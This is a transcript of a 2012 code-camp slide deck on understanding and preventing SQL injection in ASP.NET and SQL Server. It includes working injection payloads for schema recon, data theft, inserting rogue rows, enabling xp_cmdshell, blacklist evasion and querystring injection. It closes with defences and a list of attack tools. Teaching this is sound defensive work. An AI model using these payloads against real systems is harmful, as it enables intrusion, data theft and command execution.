Presentation on theme: "Abcd’; DROP TABLE PRESENTATIONS; -- AKA SQL Injection: the fast, fun, and easy way to ruin someone’s day Columbus Code Camp 2012 Kevin Feasel"— Presentation transcript:
abcd’; DROP TABLE PRESENTATIONS; -- AKA SQL Injection: the fast, fun, and easy way to ruin someone’s day Columbus Code Camp 2012 Kevin Feasel Understanding and Preventing SQL Injection
Who Am I? Database Administrator – Former web developer – SQL Server DBA – Currently working for Aetna Standard employer disclaimer Security Nut Cyclist Occasional world traveler
What Is SQL Injection? Injecting code in a manner the application developers did not expect – Example: your text box to do a lookup on a table. Bad guy to perform some unexpected operation
Why Should I Care? Not everyone is as nice as Good Guy Greg By 2006, web application vulnerabilities had become more popular than buffer overflows: trends/index.html trends/index.html – Cross-site scripting #1, SQL Injection #2 SQL Injection now #1: https://www.owasp.org/index.php/Top_10_2010 -Main https://www.owasp.org/index.php/Top_10_2010 -Main Imperva (2011): 83% of successful data breaches involve SQLi
Companies Which Should Have Cared
Has Sony Been Hacked This Week?
But I’m Just One Man; What Can I Do? As an attacker: – Get schema information – Get protected data – Perform “administrative” tasks Create bogus user accounts (including admins) Create, drop, alter tables or views Delete, update, or insert data – Run arbitrary executable code As a defender: – Protecting against SQL injection is stupid easy in ASP.NET
Jumping Right In Defense requires knowledge – To defend against SQL injection, we must know how to perform SQL injection Demo Setup If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle. – Sun Tzu, The Art of War
Danger, Will Robinson Need a reason to update your resume? Try putting this code on a production machine! Goofus would: Hack naked Exploit external sites Point out that résumé is spelled with e-acutes
Demo Time: Put On Your Safety Goggles Starting in SQL Server Management Studio – Treat this as your lab Open up SQL Profiler – Watch the actual queries as they pass through Get rolling with Demo 1
What Went Wrong? SQL injection works by getting ‘outside’ the parameter We weren’t able to Lesson 1: can’t inject static SQL directly Dynamic SQL – Ad hoc query – T-SQL Dynamic SQL
Demo #2: Win Or You’re Out Of The Family Try this again, using dynamic SQL Survey says? Success. Lesson 2: Using unsecured dynamic SQL, we can successfully attack Now we’re ready to look at practical applications
Anatomy of a SQL injection attack Basic SQL query looks like: “ select [cols] from [table] where [filter] like ‘%” + “%’; ” SQL comment line: -- Example of a potential = “boo’ OR 1 = 1; --” Turns into: “ select [cols] from [table] where [filter] like ‘%boo’ OR 1 = 1; --%; ”
The Naïve Developer Basic task: load a grid based upon filtering criteria entered into a text box Our naïve developer hits the Googles and finds out how to use a SqlDataReader The code works: searches are successful – Even checks the filter to make sure a value exists
Having Fun With The Naïve Developer f%' OR 1 = 1-- – Bypass the filter: list all records Not fun enough! Gimme more! SHOOOO%' UNION select TABLE_SCHEMA + '.' + TABLE_NAME, 1, 1 from INFORMATION_SCHEMA.TABLES-- – Pick a name which doesn’t exist; now we have a list of tables SHOOOO%' UNION select COLUMN_NAME + '; ' + DATA_TYPE, case when IS_NULLABLE = 'NO' then 0 else 1 end, ORDINAL_POSITION from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'ProductSubcategory' and TABLE_SCHEMA = 'Production'-- – Recon on a particular table SHOOOO%' UNION select Name, ProductSubcategoryID, ProductCategoryID from Production.ProductSubcategory-- – Looking at the actual data in that table
Having Fun With The Naïve Developer SHOOOO%'; insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, 'Evil Hacker Subcategory', newid(), current_timestamp);-- – Boom! Exploit complete. nada'; exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; -- – Turn on xp_cmdshell, letting us run external apps
Our Developer’s Response Users mention this “evil hacker subcategory.” Developer investigates. More internet searching: dev learns about blacklisting and creates a filter for his filter – No more of this “select” and “insert” rubbish!
In Retrospect… Problem: the little old ladies using our program just got scared because they looked for the “Selected” subcategory
Back To The Drawing Board Need a slightly less naïve approach to filtering Our developer has a stroke of genius: evil hackers need to use “select” + space, whereas our little old ladies would use “select” without a space. We now have a separating equilibrium. Problem: you’re doing it wrong. Proof: SHOOOO%' UNION select TABLE_SCHEMA + '.' + TABLE_NAME, 1, 1 from INFORMATION_SCHEMA.TABLES-- – Yeah, that’s a tab (hex 09). Other valid separators: 0A, 0B, 0C, 0D, A0
150 Copy-Pastes Later… After adding various permutations of SQL commands + separators… varchar(8000); = CAST(0x73656C C455F D41202B20272E27202B C455 F4E414D E616D652C C F7 2744F F6D20494E464F524D F4E5F D412E C455 3 as varchar(8000));
Translating The Varbinary select cast('select TABLE_SCHEMA + ''.'' + TABLE_NAME as Name, 1 as IsActive, 1 as SortOrder from INFORMATION_SCHEMA.TABLES' as varbinary(8000)) Important note: this won’t combine data together – Varbinary runs are better for insert/update/delete operations
Other Fun Stuff We Can Do select CAST('insert into Production.ProductSubcategory(ProductCateg oryID, Name, rowguid, ModifiedDate) values(1, '' Hacker Domain '', newid(), current_timestamp);' as varbinary(8000)); – Add in undesired links. Hint from Heloise: this looks suspiciously like the beginning of a cross-site scripting attack!
Other Fun Stuff We Can Do select CAST('insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, '' alert("A") '', newid(), current_timestamp);' as varbinary(8000));
Querystring Injection aspx?search=bike%25%27%20or%201%3D1%2D%2D – Translates to: “bike%’ or 1=1--” The way we did the Slightly Less Naïve Stop actually helps us here by preventing some querystring attacks: aspx?search=bike%25%27%20union%20select%20table _schema%2B%27%2E%27%2BTABLE_NAME%20as%20 Name%2C1%2C1%20from%20information_schema.tab les%2D%2D aspx?search=bike%25%27%20union%20select%20table _schema%2B%27%2E%27%2BTABLE_NAME%20as%20 Name%2C1%2C1%20from%20information_schema.tab les%2D%2D – That “select%20” is equivalent to “select “
Querystring Injection Injecting other whitespace characters is as easy as %09…or %0A… ryDriven.aspx?search=prevention%25%27%20 union%20select%09table_schema%2B%27%2 E%27%2BTABLE_NAME%20as%20Name%2C1 %2C1%20from%20information_schema.tables %2D%2D ryDriven.aspx?search=prevention%25%27%20 union%20select%09table_schema%2B%27%2 E%27%2BTABLE_NAME%20as%20Name%2C1 %2C1%20from%20information_schema.tables %2D%2D
HTTP Parameter Pollution In ASP.NET, including a parameter multiple times causes the different entries to be concatenated and separated by commas: ryDriven.aspx?search=36&search=jump&searc h=street ryDriven.aspx?search=36&search=jump&searc h=street – Turns into “36,jump,street” in our search This can be used for evil. – Any guesses how?
HTTP Parameter Pollution HTTP Parameter Pollution is something most people don’t even think about – It doesn’t help that different platforms react in different ways—concatenate, ignore all but the last, etc.
Effects On Different Platforms https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Doing It Right: Parameterized Queries The right way to do it: – All parameters created using SqlParamter – Not necessary to use stored procedures, though in SQL Server, this is preferable Stored Procedure-Driven Test not susceptible to SQL injection. You are safe from this issue. Secure Query-Driven Test not susceptible either
Adding Dynamic SQL Into The Mix Basic insecure dynamic SP: create procedure nvarchar(500) as varchar(250); = ‘select * from table where Name like ‘’%’ + ‘%’’;’; The basic problem is the same as in the query-driven injection example: is not sanitized or parameterized.
Attacking Insecure Dynamic SPs Easy to perform attacks on unprotected dynamic stored procedures from SSMS: exec UNION select TABLE_SCHEMA + ''.'' + TABLE_NAME, 1, 1 from INFORMATION_SCHEMA.TABLES--'; Parameterized queries prevent this from being an issue in ASP.NET
Protecting Your Dynamic SPs Use sp_executesql – Could also use a combo of QUOTENAME and REPLACE Include the parameter as a parameter inside to run Example: nvarchar(max); = 'select ProductSubcategory ID, ProductCategoryID, Name from Production.ProductSubcatego ry where Name like exec Once you do this, you are completely safe from SQL injection.
Recap: What To Do Parameterize Your Queries! – Use SqlParameter to handle input in ASP.Net – Use sp_executesql correctly when you do use dynamic SQL Understand your data domain – Correct data sizes (not too large) – Input field has correct length – Regular expressions for well-defined field types (e.g., phone number, Social Security Number) Blacklists usually don’t work, but whitelists can Create limited-access accounts for web applications Constraints in UI, business objects, and database – Defense in depth – This isn’t really a violation of DRY – If I can beat two of your three checks, the third could still stop me
Next Steps Automation – Havij (most popular; easy GUI) Havij – Sqlmap (my favorite) Sqlmap – BSQL Hacker (blind SQL injection) BSQL Hacker – BBQSQL (Python-based blind SQL injection) BBQSQL – Fast-Track (Metasploit module) Fast-Track – Plenty more where this came from Really evil stuff